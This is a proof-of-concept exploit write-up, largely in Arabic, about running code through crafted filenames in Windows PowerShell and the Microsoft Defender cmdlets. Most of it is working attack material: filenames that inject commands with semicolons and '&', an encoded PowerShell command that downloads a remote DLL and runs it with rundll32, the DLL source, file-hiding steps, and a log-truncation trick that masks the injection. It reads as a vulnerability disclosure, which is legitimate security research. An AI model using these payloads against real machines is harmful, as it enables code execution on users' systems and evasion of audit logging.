
إثبات مفهوم تنفيذ الأكواد عبر اسم ملف في Windows PowerShell غير مُصحح
Windows PowerShell Filename and Defender Anti-Malware API - Code Execution POC
Discovery: John Page (aka hyp3rlinx) 2019 and revisted 2023
Updated Dec 24, 2023
Bypassing single quotes obstacle in PowerShell for code exec and bonus PS Windows Event log fail!
Semicolon and friend "&" operator join forces for arbitrary code exec capabilities.
شغّل بعض البرامج الضارة غير المرغوبة:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
أو
فحص Windows Defender Anti-Malware:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
حيث يوجد Malware.exe في نفس الدليل، فكّر في التنزيل عبر التصفح (drive-by download).
فشل سجل أحداث Windows، معرف حدث PS 403، يفشل في تسجيل اسم الملف الحقيقي بسبب الاقتطاع:
مقتطف سجل PS:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
استدعاء أمر ping؟ لمَ لا
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
تسجيل خروج الضحية:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
تحديث: 7 ديسمبر 2023، أُضيف ناقل سطر الأوامر وواجهة برمجة تطبيقات Windows Defender، انظر أدناه:
نظرًا لأنه ما زال يعمل، أزلت الغبار عنه وأدخلت تحسينات طفيفة:
أُبلغت بها Microsoft لأول مرة في 2019 وما زالت دون إصلاح حتى وقت كتابة هذا التقرير.
تنفيذ كود عن بُعد عبر اسم ملف مصمم خصيصًا.
الخلل ناتج عن النقطة المنقوطة ";" حيث يمكننا فك ترميز أمر Base64 وتنفيذه مباشرة من اسم ملف PS1 أو مجرد تنفيذ أوامر.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
نفّذ الأوامر فورًا
"Testing;saps (gc -) PoC;.ps1"
نواقل الهجوم: النقر المزدوج، السحب والإفلات على اختصار PowerShell
يستغل أوامر PowerShell البديلة المختصرة مثل "saps" و "gc" لبدء عملية وقراءة المحتوى وما إلى ذلك.
أنشئ ملف PS1 خادعًا سيحاول تنزيل وتنفيذ DLL عن بُعد باسم "1.d"
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
كود DLL:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
انقر نقرًا مزدوجًا على ملف PS1 الخادع.
أنشئ ملف PS1 باسم يتضمن "saps" (لبدء عملية) و "gc" (get-content)، وسيقرأ هذا الأوامر من ملف مخفي.
"Test;saps (gc -) PoC;.ps1"
إنشاء مخفي: attrib +s +h "-"
انقر نقرًا مزدوجًا أو اسحب وأفلت.
a) يجب ضبط ملفات PowerShell PS1 لتُفتح بواسطة PowerShell كبرنامج افتراضي
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) يجب على المستخدم النقر المزدوج، أو التشغيل من سطر الأوامر، أو سحب وإفلات سكربت PS1 ذي الاسم الخبيث
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

تحديث: واجهة برمجة تطبيقات PowerShell الخاصة بـ Microsoft Defender Anti-Malware - تنفيذ أكواد عشوائية.
يمكن أن تؤدي واجهات برمجة تطبيقات Microsoft Defender Anti-Malware و/أو PowerShell إلى تنفيذ أكواد عشوائية. على سبيل المثال، فحص مجلد أو اختصار .lnk أو حتى عنصر غير موجود قد يؤدي إلى تنفيذ كود غير مقصود. يبني هذا الناقل على نشرتي السابقة ومشروع PSTrojanFile اللاحق.
المتطلبات:
أمثلة:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe موجود على سطح المكتب)
أنشئ المجلد ";saps Test"، على أن يكون Test.exe أو Test.cmd إلخ على مسار سطر الأوامر نفسه
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
أنشئ مجلدًا يحتوي على فاصلة منقوطة، ثم ضَع ملف PE باسم doom.exe في المسار نفسه.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
أخيرًا وليس آخرًا:
عند الحصول على تجزئة ملف في PowerShell، يتم تسجيل خروجك :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08